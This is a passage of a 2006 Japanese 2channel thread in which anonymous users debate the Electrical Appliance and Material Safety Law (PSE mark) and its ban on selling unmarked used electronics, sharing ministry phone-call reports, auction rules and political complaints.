お犬様の法律と張る位の悪法だよこれは。

ちなみに、わかりやすく言うとこの判定機関はJASRACと一緒。やってることはことごとく似ている。
改革改革と言っておきながら、実際は改革を阻止する形で官僚が全て動いている。

率直に言って【　あ・ま・く・だ・り　】をしっかりと作ってのうのうとしているということ。

どうせ偽のPSEマークを印刷して貼り付けるだけで他国はスルーされるから。。。
大手企業は付け届けがしっかり出来たけど関係のない中小は潰せということ。
だって、それが小泉が五年間かけてやってきたグローバル化というものの正体。

ちなみに売れなくなった中古品はどこに行くんだろうねぇ。
まさか北朝鮮なんかに流れることはないよね。

463 ：名無しさん＠６周年：2006/02/13(月) 21:13:48 ID:6c4wv1Ep0

経済産業省現役官僚のブログ。
http://d.hatena.ne.jp/masays/

直接この法案にかかわったわけでは無いんだろうけど、官僚に直接文句言うのもアリかと。

464 ：名無しさん＠６周年：2006/02/13(月) 21:13:51 ID:cayDElhu0

明らかなサブマリンだよね、これ。
このことで得をするのは、どの連中だ？

465 ：名無しさん＠６周年：2006/02/13(月) 21:14:02 ID:2n1oGFjn0

自民党は「靖国」だの「郵政民営化」だのと
議論をあおっている間に、こういう庶民直撃政策を
さっさっととしてるんだね。

人々はいいかげん気がつかなくちゃ、
このやり口に。

466 ：名無しさん＠６周年：2006/02/13(月) 21:14:05 ID:HI1OM8TE0

さっそく小役人の工作員化が始まっちゃったｗ

467 ：名無しさん＠６周年：2006/02/13(月) 21:14:22 ID:W32JY3T10

DVDでもVHSでも、アナログ出力できる機器は今が最後の買い時じゃね？
アナログ出力はコピー制御出来ないとかで、全機器アナログ出力禁止になるそうだし

468 ：名無しさん＠６周年：2006/02/13(月) 21:14:27 ID:IjDCJ2Jx0

>>288
今必要なのは、自民・民主・公明・共産・社民のどこでも良いから電凸することだ。
現時点で敵を作るのは得策じゃない。

469 ：名無しさん＠６周年：2006/02/13(月) 21:14:27 ID:YgXHZM6Z0

>>446
おお、教授ｇｊ。教授に連絡した人もｇｊ

452
そういうのにアンカーぶつけない。それが礼儀だ。連鎖あぼーん対象になるし。

470 ：名無しさん＠６周年：2006/02/13(月) 21:14:35 ID:e5tUYR2X0

LoveLetterVirusなんて懐かしいなぁ （ｼﾐｼﾞﾐ
このソースコードってNortonがひっかかるんだっけ？

このスレを他人に見せたくない厨房って、何者だよ・・・

471 ：名無しさん＠６周年：2006/02/13(月) 21:15:13 ID:B2JRSUZn0

君たちは一体何をしてきた？
もし君たちが、自分自身の自由のために戦うこともできないというのなら
君たちはその自由に値しない。
（レッシグ）

自分としてはやっぱこれだなと思う。

472 ：名無しさん＠６周年：2006/02/13(月) 21:15:59 ID:i457ogts0

>>422
＞法が出来たころには「中古」は含まれていなかったのに、

それって単に、
「中古を対象外にしようとする動きが無かった」
ってだけの事なんだけどな。

行政から見て、特に規定してないかぎり、
新品の販売も中古の販売も関係ないよ。

わいせつ図書や児童ポルノの販売禁止や
18禁物の規制をする時でも、
いちいち新品はNGで中古もNGとか説明されないっしょ。

473 ：名無しさん＠６周年：2006/02/13(月) 21:16:06 ID:mucQkKxC0

先生が動いたところ見ると、マーク無しの免除の可能性が０％じゃないのは・・・
・シンセ関係（著名人の圧力）
・不動産備え付け（大問題＆ウルサイから）
・輸入製品（外圧対策）

うーん、うれしいけど。それ以外も大問題だから
「中古は不問」　または、「２０００年以前の製品の使用は原則自己責任」
どちらか、明記して欲しい！！

474 ：名無しさん＠６周年：2006/02/13(月) 21:16:41 ID:tBqVbyEs0

>>442
ノートンなんか使うからだ。
NOD32使え。

475 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:16:45 ID:9cgQHCbv0

>>467
つうか、デジタルはコピーされたら１００％だから余計たちが悪いだろ
アナログなら、劣化するので、金だしてオリジナル買おうというやつもいるが

476 ：名無しさん＠６周年：2006/02/13(月) 21:16:56 ID:swyEzse00

多分これは去年生まれて初めて自民に入れた俺のせいだ

ｽﾏｿ

477 ：名無しさん＠６周年：2006/02/13(月) 21:17:16 ID:qyc6fkEE0

age

478 ：名無しさん＠６周年：2006/02/13(月) 21:17:17 ID:04Nk/eCu0

お前等今騒いどかないと、一生後悔しますよ。

消費者保護か悪法か、経済産業省「電気用品安全法」などを改正の検討:Garbagenews.com
http://www.gamenews.ne.jp/archives/2006/01/post_487.html

購入から一定期間が経つと製品が作動しなくなる「タイムスタンプ」機能を製品につけ、
消費者に定期点検をうながす案などが浮上、 早ければ2006年度中の改正を目指す。

479 ：名無しさん＠６周年：2006/02/13(月) 21:17:21 ID:gDdId8CB0

　 　 灑醴醴醴醴鬱ﾟﾞ .　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 ｀『醴醴醴醴$
　 　 醴醴醴醴醴ｹ..　 　 　 　ひと儲けさせてもらうよ。（ｗ 　 .ﾞ'..: 『醴醴醴歡
　 　 層醴醴醴歡　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 . .(濁醴醴歡
　 　 醴醴醴醴]['.　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 : ｀:ﾞ{[醴醴¶
　 　 層醴醴蠶[l' 　 　 　 　 .､,,..__＿＿＿_、　 　 　 　 　 　 ＿＿＿＿_. ';ﾞ(}醴醴†
　 　 濁醴醴鏖《' 　 　 　 　 'f『ﾟﾟﾟﾟﾟﾟﾟﾟﾟﾟﾟﾟ閂昃'!! 　 　 　 . -忌『『『『門愬ﾀ!i'ﾞ(ｉ層躑
　 　 ..f[醴醴醴』' 　 　 　 _．　 　 　 　 　 ...`:ﾟ'.:　 　 　(Jl}~ﾟ 　 　 　 .'.^'ﾟ(ｌi､.'僧歉
　 　 . ‘體醴醴廴,｡r､':'｀‘｢.... _,ｇg豐齟籬ｇｊlｊl;ilド 　 .:ﾞl:','｡;i,g豐醯踰ｇz.(.(.( i.ｊ|]｢
　 　 . ;ｔqi_ﾟﾟ¶醴†｀　 　 　 } ｉi填閇ﾟﾟﾞﾟﾟﾟﾟﾟ『『摂'''^' . 　 .::､'ﾇ}們ﾟﾞﾟﾟ門門轡埣lﾞ(|遁
　 　 . ﾞ}}' ﾞﾏl'. ¶$. 　 　 　 ｀ .　 . !!!!!!!!!!!''''＾ .. . 　 　 . ｉｌ｡ﾞ(｀ﾞﾞ'ﾟ''''''?ﾍ'''''`｀ ''､ii濬
　 　 ､ !)　.:..ｊg_ﾟ[Ｉｉ;. . 　 　 　 　 　 　 　 　 　_， 　 　 . ｀?)ｊ、 　 　 　 　 . ._,(,(:ｱ
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　 　 　 　 ｀｀　 　 　 　 　 　 　 　_._,(ii.lＩ}lﾟ(ﾞ'ｦ増嚇ｊg]獅嬲叛lﾟ(}}ＩＩＩD,;';ﾞ;iiＩi;iiﾞ(|
　 　 　 　 　 　 、 　 　 　 　 　 ::.ﾐ浴?ﾟ(. . 　 　 ｀｀'ﾟﾀ'ﾟ''''ﾟ''''.!''.(ｌＩ泪||Ｉ}i.[(ｌ}}Ｉlﾞ(}
　 　 　 　 　 一' . 　 　 　 　 　 :ﾞ(}l}ｼ.､;;､....､,,__.,uu,｡,,,,,gｇggｊ_ｊ,(Ｉ}'ﾟ(勿l.[(','i}ｿＩ.
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　 　 　 　 　 　 　 . . 　 　 . . ::､.､..:.(,(:､''ﾞﾟ『咐':'･!･ 　 　f負鄂､.:'.(.(>.(,(3iﾞ(}|Ｉ'
　 　 　 　 　 　 　 '､..　 .､:.､'.:､'.'.'.､.(｀' . 　 　 　 : : : : ｰ;;,(,(ｉ','i.(.(.(.(.(ｌＩＩＩＩＩｉＩＩＩlﾟ

480 ：名無しさん＠６周年：2006/02/13(月) 21:17:47 ID:gRjWDYnL0

>>461
貴方が金出して捨てなさい、ということ

481 ：名無しさん＠６周年：2006/02/13(月) 21:17:55 ID:wXIYs9jX0

〜検索エンジンを使って「電気用品安全法」問題を広く伝えよう〜

１．googleエンジンを使っている http://www.nifty.com/ にアクセス
２．検索窓に 電気用品安全法 と入力し[検索]ボタンを押す
３．「電気用品安全法@2chまとめ - トップページ」のリンクをクリック

上記の操作によってまとめサイトの順位が上がり、
ニフティの「今、この瞬間、最も検索されているキーワード」でも紹介されます。
あなたのわずかなPC操作で多くの人たちにこの問題を知ってもらえます。
さあ、いますぐ実行！

482 ：名無しさん＠６周年：2006/02/13(月) 21:17:58 ID:YgXHZM6Z0

>>472
何で2回いうねん

そうやって懐柔しようとしても国民には通用せんぞ！ 国民をあまりなめるな

483 ：名無しさん＠６周年：2006/02/13(月) 21:18:05 ID:LDIHzaG8O

家庭用ゲーム機ってほとんどDC機器じゃなかったっけ？

あとパチンコ、スロットは家庭用じゃないし、ACだけど100Vじゃないから
引っ掛かるとしたら付属品の変圧トランスだけｼﾞｬﾏｲｶ。

484 ：名無しさん＠６周年：2006/02/13(月) 21:18:36 ID:tja8aoax0

これが小泉構造改革の成果だ。
日本の文化遺産を徹底破壊します。

ファミコンもメガドラも韓国起源ニダ！

485 ：名無しさん＠６周年：2006/02/13(月) 21:18:42 ID:5vBvsxMt0

漏れの愛車プリウスなんだけど、PSEマークどこに付いてるの？

486 ：名無しさん＠６周年：2006/02/13(月) 21:19:15 ID:HI1OM8TE0

>>476
そこまで気に病むなｗ

487 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:19:23 ID:9cgQHCbv0

>>483
だよね。ACアダプタさえクリアできれば問題ないよね

488 ：名無しさん＠６周年：2006/02/13(月) 21:19:25 ID:slhCJUT90

>>445
http://www.typex.taito.jp/outline.html
こういう「どう見てもＰＣです。本当にありがとうございました」な機械も、
アミューズメント機器として売ってるから多分ダメだと思う。
まあ業務用の基板は電源が筐体から供給される場合が多いんだけど。
あとどっちにしろ筐体はアウト。

489 ：名無しさん＠６周年：2006/02/13(月) 21:19:39 ID:swyEzse00

しかもsageてるしホントごめん

490 ：名無しさん＠６周年：2006/02/13(月) 21:19:57 ID:04Nk/eCu0

経済産業省と電気用品安全法届出等窓口数カ所に電話してきた　んで、わかった事は

・事業を行うモノは2006/04/01からはPSEマークがついてないヤツは新品/中古とも販売しては駄目
　第四章　販売等の制限（第二十七条・第二十八条）というヤツですな

　んじゃ、事業ではない個人はいーの？と聞いたらこれが凄く曖昧　事業とは継続・反復して販売する
　モノを指すので余りやり過ぎると事業と見なされるとの事。んで『じゃ個人と事業の判断基準はなーに？』
　と聞いたら『特に決まっていません』との回答。試しに『月に１、２台オーディオ製品を売るのは大丈夫？』と
　聞いたら『それは事業と見なされます』とか言って来た(オイオイ、さっき基準がねーとか言っただろーが
　大体月に１，２台ってマニアのヤツなら十分考えられる台数だぞ！！）

　他の窓口でも大体同じ答え。継続・反復しなければ個人での販売はOKみたいなニュアンスで話してた（まぁ
　基準が全然ハッキリしないんだけどね・・・・・・・)

491 ：名無しさん＠６周年：2006/02/13(月) 21:20:01 ID:lBP8bBUb0

>>390
あくまでMIDIインストゥルメントを扱う場合は、パソコンの位置づけは1シーケンサに過ぎない。
マニピュレータコンソール等と同格。

492 ：名無しさん＠６周年：2006/02/13(月) 21:20:06 ID:yS5xLnF60

>>458
CDブートって関係ないじゃんｗ
まあ、ウィルスがあまりない、良いOSを使ってると思えば寂しくない…こともないか。

493 ：名無しさん＠６周年：2006/02/13(月) 21:20:14 ID:sMmVbmJs0

>>481
502 Proxy Errorって出たら、F5で対処汁

494 ：名無しさん＠６周年：2006/02/13(月) 21:20:18 ID:Ao2wx0x00

>>159
遅レスでスマンが、１週間分なら金払わなくても無料で官報が見れる。
http://kanpou.npb.go.jp/

495 ：名無しさん＠６周年：2006/02/13(月) 21:20:28 ID:YgE56+lR0

>>485
ACアダプタ

496 ：名無しさん＠６周年：2006/02/13(月) 21:21:15 ID:/5MtdoiD0

>>476
5年前だからモーマンタイ

つか俺らが何党に入れようと官僚は官僚なんだと言う事がはっきりわかった

497 ：名無しさん＠６周年：2006/02/13(月) 21:21:23 ID:W32JY3T10

>>467
デジタルはコピーワンスやら何やらで送り手がコピー制御出来るが
アナログは多少劣化するものの、コピー自体を防ぐ事は出来ないからと言うのが理由らしい
今後はD端子もなくなるらしいぞ

498 ：名無しさん＠６周年：2006/02/13(月) 21:21:25 ID:6c4wv1Ep0

>>494
つか本来官報見るのに金がかかるのがおかしいよな

499 ：名無しさん＠６周年：2006/02/13(月) 21:21:29 ID:4usCqRwMO

やっぱり日本人は馬鹿だったわけだよ
自民はぬるま湯につかり過ぎ
ギリギリ過半数くらいじゃないと真面目にやらないもん
民主に政権は無理だね
共産の票を伸ばせば危機感持つだろ
しかも絶対に与党にはならない
公明みたいな腰巾着じゃない
２大政党なんて日本にゃ根づかない
日本を立て直すには、やはり自民に心を入れ換えてもらうしかない
共産票が伸びたら、さすがに尻に火がつくと思うがな
中国と日本の共産党はまるっきり違う
野党としてけっこうまともな仕事してるよ
少し自民の暴走は抑制すべきだ

500 ：名無しさん＠６周年：2006/02/13(月) 21:21:55 ID:i457ogts0

>>482
＞何で2回いうねん

>>422に対しては一回しかレスしてないけど？？

501 ：名無しさん＠６周年：2006/02/13(月) 21:22:37 ID:9PXADi2w0

そもそも家電が発売してすぐに価格が下落してしまうのは
中古市場が原因ではなく

総需要政策によって国民所得を増やさないから仕方ない。
マスコミは自分さえ儲かれば良いので、節約節約の洗脳放送を垂れ流す。

502 ：名無しさん＠６周年：2006/02/13(月) 21:22:43 ID:i457ogts0

↓個人のヤフオク利用はPSEマークなし家電でも問題ないから。↓

　インターネット・オークションでの販売においても、例えば、個人が自分で使うために購入した製品を、
必要が無くなった等の理由で販売する場合などは、電気用品安全法の対象外となります。
　しかし、個人による販売であっても、一度に大量に販売したり、何度も繰り返し販売すれば、
電気用品安全法上の「販売の事業」と考えられ、電気用品安全法上の販売の規制の対象となります。
http://www.meti.go.jp/policy/consumer/seian/denan/keikasochi/keikasochi_q&a.htm#Q6

■対象となる出品者
1ヶ月あたりの出品数が200点以上、または一時点において100点以上の商品を新規出品している出品者
落札額の合計が1ヶ月あたり100万円を超える出品者
落札額の合計が過去1年間に1,000万円を超える出品者
商品説明の内容から事業者であると認定できる出品者

上記の基準だけでは一律に事業者と判断することができない旨の記述もあることと、
事業者に該当するかどうかは個別の事情を踏まえての判断となります。
お客様が事業者に該当するかどうかご不明な場合や、
基準の詳細などにつきましては次の経済産業省担当窓口に直接お尋ねください。
http://auctions.yahoo.co.jp/phtml/auc/jp/notice/20060201.html

503 ：名無しさん＠６周年：2006/02/13(月) 21:22:48 ID:/5MtdoiD0

つか官と民の入れ替えをもっとやれよ

狭い世界だけで生きていて市井の情勢についてわかってないﾔﾂが多すぎるよ

504 ：名無しさん＠６周年：2006/02/13(月) 21:23:08 ID:mucQkKxC0

>462
禿道だけど、
共感する人少ないよね

>495
喪前・・・萌

505 ：名無しさん＠６周年：2006/02/13(月) 21:23:11 ID:B2JRSUZn0

ID:i457ogts0が抽出するとあからさまに工作員臭い点

＞それって単に、
＞「中古を対象外にしようとする動きが無かった」
＞ってだけの事なんだけどな。
＞行政から見て、特に規定してないかぎり、
＞新品の販売も中古の販売も関係ないよ。
（二回も同じの張らないでいいから）
中古車売買でも過去に遡って適用なんてしてない。
経済産業省が家電に適用したのは特殊。
だから誰もここまであこぎな法律だと気付かなかった。

＞↓個人のヤフオク利用はPSEマークなし家電でも問題ないから。↓
月1〜2回出したらアウト。
しかも、普通に取り締まり強化されてる

＞PSEマーク付きなら普通に中古市場で流通できるから。
真面目つけてるメーカーがここ3年くらい、しかも大手2、3社だけどね。
それ以外は駄目って、5年前のものは完全にアウトなんだけどｗｗｗ
中小企業はどうなるんだろう？

506 ：名無しさん＠６周年：2006/02/13(月) 21:23:20 ID:wh6D7W4e0

よしゃ、わかった。
とりあえズ買いだ！

１年後にヤフ億で…

507 ：名無しさん＠６周年：2006/02/13(月) 21:23:24 ID:10C4ZLAp0

>>498
経産の糞役人は官報見てない香具師がわるいなんてうそぶいてるわけだが。
金かかるんじゃ見れない香具師もいるわけだし。

508 ：名無しさん＠６周年：2006/02/13(月) 21:23:25 ID:04Nk/eCu0

経済産業省と電気用品安全法届出等窓口数カ所に電話してきた　んで、わかった事は

・事業を行うモノは2006/04/01からはPSEマークがついてないヤツは新品/中古とも販売しては駄目
　第四章　販売等の制限（第二十七条・第二十八条）というヤツですな

　んじゃ、事業ではない個人はいーの？と聞いたらこれが凄く曖昧　事業とは継続・反復して販売する
　モノを指すので余りやり過ぎると事業と見なされるとの事。んで『じゃ個人と事業の判断基準はなーに？』
　と聞いたら『特に決まっていません』との回答。試しに『月に１、２台オーディオ製品を売るのは大丈夫？』と
　聞いたら『それは事業と見なされます』とか言って来た(オイオイ、さっき基準がねーとか言っただろーが
　大体月に１，２台ってマニアのヤツなら十分考えられる台数だぞ！！）

　他の窓口でも大体同じ答え。継続・反復しなければ個人での販売はOKみたいなニュアンスで話してた（まぁ
　基準が全然ハッキリしないんだけどね・・・・・・・)

509 ：名無しさん＠６周年：2006/02/13(月) 21:23:36 ID:slhCJUT90

そういえば100Vのコンセント付いてる車は発電機でもあるわけだから
ひょっとして販売禁止になるのか？

510 ：名無しさん＠６周年：2006/02/13(月) 21:23:57 ID:IydhKnkC0

おまえら世間をもっと勉強しろよ。
販売はダメでも、会員への有償頒布はＯＫなんじゃないのか？
昔、天然塩もこの方法で入手できた。

511 ：名無しさん＠６周年：2006/02/13(月) 21:24:09 ID:h0+jfxcM0

いまのうちにサターンとメガドラの中古ハード抑えておかなきゃ。

512 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:24:38 ID:9cgQHCbv0

>>488
ああ、こんなの出してたんだ、タイトー
リンク先の画像で、ビデオテープおいてたけど、一瞬テープでゲームが供給されるのかと思った

俺が見たのは、カプコンとか、アイレムとか、その他無名メーカのゲームが１００個くらい入った筐体だった

>>497
デジタルのコピー制御なんて、ことごとく破られてきているわけだが、、、

513 ：名無しさん＠６周年：2006/02/13(月) 21:25:14 ID:/5MtdoiD0

白物家電とかを除いては
工場の設備やオフィス機器やオーディオ機器や楽器や放送用機材や
その他もろもろは中古下取りを含めた循環サイクルの中で新しい需要も生まれてくるのに

こんな事やってるといずれは自分たちの首を絞めるだけなのにな

514 ：名無しさん＠６周年：2006/02/13(月) 21:25:15 ID:3omi54qZ0

457ogts0　のレス　アポーンしてるから見えないや（ｗ

515 ：名無しさん＠６周年：2006/02/13(月) 21:25:18 ID:swyEzse00

>>486>>496
ｻﾝｸｽ・・・

516 ：名無しさん＠６周年：2006/02/13(月) 21:25:22 ID:yWvC46uI0

3月が買い時？

517 ：名無しさん＠６周年：2006/02/13(月) 21:25:30 ID:XKT0bqon0

だからJUNO-106が3000円で買えたんだ。パーツ取りとして確保しておいたよ。
MKS-7は手放したくないしね。

518 ：名無しさん＠６周年：2006/02/13(月) 21:25:34 ID:ymsNO7qv0

ソフトのオマケとしてハードつけて販売するのはあり？

519 ：名無しさん＠６周年：2006/02/13(月) 21:25:35 ID:nJP2XZMq0

バイブとかローターは家庭電気製品ではないのか？

520 ：名無しさん＠６周年：2006/02/13(月) 21:25:47 ID:i457ogts0

>>505

不正確なデマを流してまで反対運動を盛り上げよう、
って感じの一部の香具師のやり方が嫌いなだけだよ。

521 ：名無しさん＠６周年：2006/02/13(月) 21:25:48 ID:YgXHZM6Z0

とにかくage進行じゃ！
電話は苦手だが、明日は電凸してみようかのう（昼に送ったメル凸はまだ返信はない）

522 ：名無しさん＠６周年：2006/02/13(月) 21:25:55 ID:sMmVbmJs0

>>485系
ワロタ

>>509
面白い。少なくとも車載で100Vで動く奴はアウト

523 ：名無しさん＠６周年：2006/02/13(月) 21:26:13 ID:/5MtdoiD0

実はまともなアナログコピーのほうが音が良い　ってことに役人も気づきだしたか

524 ：名無しさん＠６周年：2006/02/13(月) 21:26:20 ID:rMl91QRF0

天下り先の認証機関の存在価値を高めたいだけだろ。
あほくさくて拳が出るわ。

525 ：名無しさん＠６周年：2006/02/13(月) 21:26:43 ID:l9cC1UKm0

【社会】”衝撃走る”電気製品、SONYマークない物は今日から売買禁止…猶予期間無し

526 ：名無しさん＠６周年：2006/02/13(月) 21:26:52 ID:fMItfTzQ0

来月引っ越しするから、不要品処分しようと思ってるのに、
テレビ、こたつ、金魚運動器みんなついてないよー

527 ：名無しさん＠６周年：2006/02/13(月) 21:27:29 ID:/5MtdoiD0

>>526
付いてるほうが珍しいと思うよ

528 ：名無しさん＠６周年：2006/02/13(月) 21:27:40 ID:4IyCZXdw0

>>478
内蔵時計を騙せば、いくらでも騙せそうだな。
というか、そういうのをキャンセルさせる機械が
すぐ出てくると思う。

529 ：名無しさん＠６周年：2006/02/13(月) 21:27:41 ID:04Nk/eCu0

消費者保護か悪法か、経済産業省「電気用品安全法」などを改正の検討:Garbagenews.com
http://www.gamenews.ne.jp/archives/2006/01/post_487.html

購入から一定期間が経つと製品が作動しなくなる「タイムスタンプ」機能を製品につけ、
消費者に定期点検をうながす案などが浮上、 早ければ2006年度中の改正を目指す。

530 ：名無しさん＠６周年：2006/02/13(月) 21:27:51 ID:aMSI/3rv0

236 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2006/02/10(金) 22:48:04 ID:hcGD7POO
ロングスパンでみれば良い法律ですね。理由は以下のとおり
　１．古い家電は回路不全等で出火や事故原因になりかねない
　２．古い家電の買い換えサイクルにリサイクル商品が入るのは
　　　ＧＤＰ観点から望ましくない
　３．ＰＳＥで定める基準外の商品を市場から緩やかに疎外できるため
　　　流通市場の品質向上＝デフレ抑止につながる
　４．製造立国である日本国内での家電買い換えサイクルの高回転化を抑え
　　　過剰な生産競争による資源消費を抑制できる
　５．省エネ商品の流通シェアを飛躍的に高めることができるため
　　　温暖化ガス排出量の削減等に寄与できる
　６．対途上国輸出マーケットに中古家電をシフトできるため無作為な
　　　価格競争からメーカーを撤退させられる(54条輸出用品の適用除外)
　　　※リサイクルショップが輸出用家電の商品買い取り店化する
　　　※エアコンや冷蔵庫等は国内リサイクル市場で完全飽和化している

531 ：名無しさん＠６周年：2006/02/13(月) 21:27:59 ID:K0tFS14s0

これ、財産権の侵害だろ

電気用品安全法より牛肉の安全を優先しろや

532 ：名無しさん＠６周年：2006/02/13(月) 21:28:04 ID:ER1DBTSe0

中古高級車オワタ＼(^o^)／

533 ：名無しさん＠６周年：2006/02/13(月) 21:28:18 ID:foXM0w1i0

>>517
うわーいいな。
あのシンセ楽しいよね

534 ：名無しさん＠６周年：2006/02/13(月) 21:28:21 ID:7VMq9ytk0

デジタル放送普及させる為なのか？
軒並みアナログTV関係を使えなくする為に

535 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:28:29 ID:pZnFV92a0

の調子で中古車販売禁止しやがれ
今の車なんて電気製品並の電装積んでるだろうが。特にプリウス

中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！
ついでに中古女も追放！中古女も追放！中古女も追放！中古女も追放！中古女も追放！

536 ：名無しさん＠６周年：2006/02/13(月) 21:29:07 ID:ZZwzOeIu0

牛肉問題で怒ってたアメリカの議員にでもタレこもうかな。

天下の UL(us) + CE マーク付いた機器の販売がダメとは、
日本はそんなに特殊な国なのか？
日本の電気はアメリカの電気より危ないのか？

537 ：名無しさん＠６周年：2006/02/13(月) 21:29:15 ID:rMl91QRF0

５１９
中古はイランわ。
（場合にもよるがｗ）

538 ：名無しさん＠６周年：2006/02/13(月) 21:29:42 ID:slhCJUT90

http://www.securico.co.jp/products/celsior.html
これ販売停止かな。

539 ：名無しさん＠６周年：2006/02/13(月) 21:30:19 ID:YgXHZM6Z0

工作員が湧いてきたか

540 ：名無しさん＠６周年：2006/02/13(月) 21:30:27 ID:gRjWDYnL0

法律制定時から中古も視野に入れてたんなら




な　ん　で　中　古　業　界　に　通　達　が　無　い　の　？





や　っ　ぱ　、　最　近　に　な　っ　て　中　古　も　付　け　足　し　た　ん　じ　ゃ　な　い　の　？

541 ：名無しさん＠６周年：2006/02/13(月) 21:30:52 ID:YgE56+lR0

>>536
BSEと聞き間違えられる

542 ：名無しさん＠６周年：2006/02/13(月) 21:30:57 ID:m+c2sRN/0

役人の天下り先を確保する代償として私たちの暮らしが不便になっていくわけだ
なんて素晴らしい国なんだ

543 ：名無しさん＠６周年：2006/02/13(月) 21:31:15 ID:cTmwndpk0

>>530
すごい頭悪い奴だな。

晒し上げ乙

544 ：名無しさん＠６周年：2006/02/13(月) 21:31:15 ID:4IyCZXdw0

>>497
このさい、出力端子を全部無くせばいいんだ。

545 ：名無しさん＠６周年：2006/02/13(月) 21:32:14 ID:lBP8bBUb0

>>493
@wikiのwww8サーバに断続的に障害が発生しているようだからな。
あまり負荷掛け過ぎると、転送量超過で鯖管から追い出されるかもな。

>>497
これってICTビットによる規制の話だよな。
あくまでに2014年以降の販売機器はSDTV/HDTVともにアナログ側出力がされなくなるだけで。
現行機種には影響は無いようだが。

546 ：名無しさん＠６周年：2006/02/13(月) 21:33:08 ID:ZZwzOeIu0

>>538
この発電機、耐圧試験等行うのはとても大変そうですね。
申請書類も膨大。

>>542
　昔は通信機器やらスキーやら何でも間でも日本独自の変な規格を
クリアしていないと販売不可だった。レーガンとブッシュ（父）の外圧＋
中曽根さんの政治力のお陰でかなりマシになっていたんだけど、
もうダメでしょうね。

547 ：名無しさん＠６周年：2006/02/13(月) 21:33:18 ID:4Zi/CQ+P0

あげ

548 ：名無しさん＠６周年：2006/02/13(月) 21:33:21 ID:mucQkKxC0

コード切るとか、オブジェとか、何か買ったときのおまけなどの言い訳はさんざんｶﾞｲｼｭﾂ。

何度か経産省に電話して話を聞いたが、中古品を流通させる唯一の方法は
まず製造業の届出をする。
電源部改造は「製造行為」とみなされる。（修理は別）
電源のトランスをPSE対応のものに交換し、
電源部の配線はハンダ付け禁止なので、かしめかネジ止めに交換するなど
現行の製造技術基準に適合させる。
その上で定められた試験をし、クリアさせてPSE表示をする。これしかない。
ただし、改造するとPL法上の責任も生じ、元メーカーの責任は一切免責されるかもしれないので、
修理など技術サービスも特約されたPL保険に入ることが必要。

ヤフオクはOKといわれているが、まだ不透明。
経産省から事業者認定の取引量が出されたが、あれは特定商取引のもの。
部署が異なるし、根拠となる法律も違う。
電安法では個人同士の取引でも委託販売は禁止なので、
オークションのシステム利用料が委託料とみなされればアウト。

PSE試験をする新たなビジネスチャンス、という案もあったが、
外部委託を受けられる検査機関の認証はまず無理。
前ｽﾚにJQAの役員一覧が出ていたが、明らかな天下り機関。
民間参入を可能にしたといいながら、官製企業で無いと参入は絶対不可能。

549 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 21:33:25 ID:pZnFV92a0

この調子で中古車販売禁止しやがれ
今の車なんて電気製品並の電装積んでるだろうが。特にプリウス

中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！中古車販売禁止！
ついでに中古女も追放！中古女も追放！中古女も追放！中古女も追放！中古女も追放！

>>540
逆に、叩き売り後に
「ごめーん、法律無しね」とか言われたら、店は泣くに泣けんな
損害賠償請求するのか？

550 ：名無しさん＠６周年：2006/02/13(月) 21:33:37 ID:IjDCJ2Jx0

しかし、家の家電調べて見たら、ついこの前買ったパーソナルシュレッダーも、
二年前に買ったテレビにもそんなマークついてなかったぞ、ゴラー。
つか、「全く」そんなマークついてる家電なんてなかった…。
何が五年前以降の機種だならOKだ、全く。

551 ：名無しさん＠６周年：2006/02/13(月) 21:33:43 ID:YgE56+lR0

家にある家電を調べてみたら結構PSEマーク付いてたよ

SHARP 2001年制 石油ファンヒーターx2、2002年制 空気清浄機x2
日立　 2001年制 掃除機、洗濯機
松下　　 2001年制 洗濯物乾燥機

552 ：名無しさん＠６周年：2006/02/13(月) 21:33:44 ID:T40BNtD80

>>530
古い機械より新しいPSEシール貼ってる機械から出火したようですけど

553 ：名無しさん＠６周年：2006/02/13(月) 21:35:09 ID:04Nk/eCu0

>経済産業省と電気用品安全法届出等窓口数カ所に電話してきた　んで、わかった事は
>
>・事業を行うモノは2006/04/01からはPSEマークがついてないヤツは新品/中古とも販売しては駄目
>　第四章　販売等の制限（第二十七条・第二十八条）というヤツですな
>
>　んじゃ、事業ではない個人はいーの？と聞いたらこれが凄く曖昧　事業とは継続・反復して販売する
>　モノを指すので余りやり過ぎると事業と見なされるとの事。んで『じゃ個人と事業の判断基準はなーに？』
>　と聞いたら『特に決まっていません』との回答。試しに『月に１、２台オーディオ製品を売るのは大丈夫？』と
>　聞いたら『それは事業と見なされます』とか言って来た(オイオイ、さっき基準がねーとか言っただろーが
>　大体月に１，２台ってマニアのヤツなら十分考えられる台数だぞ！！）
>
>　他の窓口でも大体同じ答え。継続・反復しなければ個人での販売はOKみたいなニュアンスで話してた（まぁ
>　基準が全然ハッキリしないんだけどね・・・・・・・)



これオークションも同じだよね。

554 ：名無しさん＠６周年：2006/02/13(月) 21:35:15 ID:QI+XDlZl0

ってことは、パソコンも売れないってことか？
ノートパソコンは何とかなるにしてもデスクトップはどうなる？

555 ：名無しさん＠６周年：2006/02/13(月) 21:35:37 ID:ymsNO7qv0

不法投棄対策大変だろうな…

556 ：名無しさん＠６周年：2006/02/13(月) 21:35:49 ID:MYYyEbRh0

俺のSONYのMDウォークマンの充電スタンド
PSEマーク付いてないよ・・・
４月以降売れないのか

557 ：名無しさん＠６周年：2006/02/13(月) 21:36:10 ID:gRjWDYnL0

>>549
いまはどこも叩き売りに慎重だよ。
大規模な叩き売りはどこもやってない。様子見程度。
たぶん固唾を飲んで状況を見てる。

558 ：名無しさん＠６周年：2006/02/13(月) 21:36:14 ID:W32JY3T10

http://nikkeibp.jp/wcs/leaf/CID/onair/jp/flash/418505

559 ：名無しさん＠６周年：2006/02/13(月) 21:36:15 ID:QAfTPSWm0

>>554
PCはおkだと何度も、何度もさけーぶよー

